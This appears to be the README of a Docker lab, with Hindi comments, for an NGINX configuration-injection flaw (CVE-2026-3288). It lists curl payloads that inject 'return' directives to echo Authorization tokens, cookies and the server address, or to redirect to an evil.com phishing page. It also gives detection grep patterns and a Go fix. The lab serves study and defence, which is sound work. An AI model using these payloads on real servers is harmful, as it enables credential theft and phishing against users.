CVE-2026-3288-lab/
├── README.md                          # यह फ़ाइल
├── docker-compose.yml                 # मुख्य प्रयोगशाला सेटअप
├── docker/
│   ├── nginx/
│   │   ├── Dockerfile                # भेद्य NGINX सेटअप
│   │   ├── nginx.conf                # आधार कॉन्फ़िगरेशन
│   │   └── vulnerable-config.conf    # भेद्य पथ हैंडलिंग
│   └── backend/
│       ├── Dockerfile                # सरल बैकएंड ऐप
│       └── app.py                    # Flask एप्लिकेशन
├── exploits/
│   ├── exploit.py                    # स्वचालित शोषण स्क्रिप्ट
│   ├── payloads.txt                  # शोषण पेलोड का संग्रह
│   └── test-exploits.sh              # सभी शोषणों का परीक्षण
├── detection/
│   └── monitor-logs.sh               # शोषण प्रयासों की निगरानी
└── cleanup/
    └── cleanup.sh                    # सभी प्रयोगशाला संसाधन हटाएं

cd CVE-2026-3288-lab

# भेद्य वातावरण प्रारंभ करें
docker-compose up -d

# स्थिति जांचें
docker-compose ps

# बैकएंड चल रहा है या नहीं जांचें
curl http://localhost:8080/

# NGINX चल रहा है या नहीं जांचें
curl http://localhost/

cd exploits

# स्वचालित शोषण
python3 exploit.py --all

# या व्यक्तिगत शोषणों का परीक्षण करें
bash test-exploits.sh

# शोषण के लिए NGINX लॉग देखें
docker-compose logs -f nginx

# डिटेक्शन की निगरानी करें
cd detection
bash monitor-logs.sh

docker-compose down -v

/api" return 200 "HACKED BY ATTACKER

curl 'http://localhost/api" return 200 "HACKED'

/login" return 200 "Token: $http_authorization

curl -H "Authorization: Bearer secret123" 'http://localhost/login" return 200 "Token: $http_authorization'

/" return 302 "https://evil.com/phishing

curl -I 'http://localhost/" return 302 "https://evil.com/phishing'

/" return 200 "Internal IP: $server_addr

curl 'http://localhost/" return 200 "Internal IP: $server_addr'

/" return 200 "Cookies: $http_cookie

curl -H "Cookie: session=abc123" 'http://localhost/" return 200 "Cookies: $http_cookie'

# भेद्य कॉन्फ़िगरेशन
location ~ "^/api" {
    rewrite "(?i)/api" /backend break;
    proxy_pass http://backend;
}

# हमलावर इनपुट: /api" return 200 "HACKED
# परिणाम:
location ~ "^/api" return 200 "HACKED" {
    # मूल कॉन्फ़िगरेशन अब टूट गया है
}

# संदिग्ध पैटर्न देखें
docker-compose logs nginx | grep -E '(return|rewrite|set).*"'

# इंजेक्टेड निर्देशों के लिए NGINX कॉन्फ़िगरेशन जांचें
docker exec cve-2026-3288-nginx cat /etc/nginx/nginx.conf | grep -A5 "location"

// पहले (भेद्य)
path := location.Path
config := fmt.Sprintf(`rewrite "(?i)%s" %s break;`, path, target)

// बाद में (ठीक किया गया)
path := sanitizeQuotedRegex(location.Path)
config := fmt.Sprintf(`rewrite "(?i)%s" %s break;`, path, target)

# लॉग जांचें
docker-compose logs

# पुनः प्रारंभ करें
docker-compose restart

# docker-compose.yml में पोर्ट बदलें
# या विरोधी सेवाओं को रोकें
sudo lsof -i :80

# सत्यापित करें कि NGINX चल रहा है
docker-compose ps nginx

# NGINX कॉन्फ़िगरेशन जांचें
docker exec cve-2026-3288-nginx nginx -t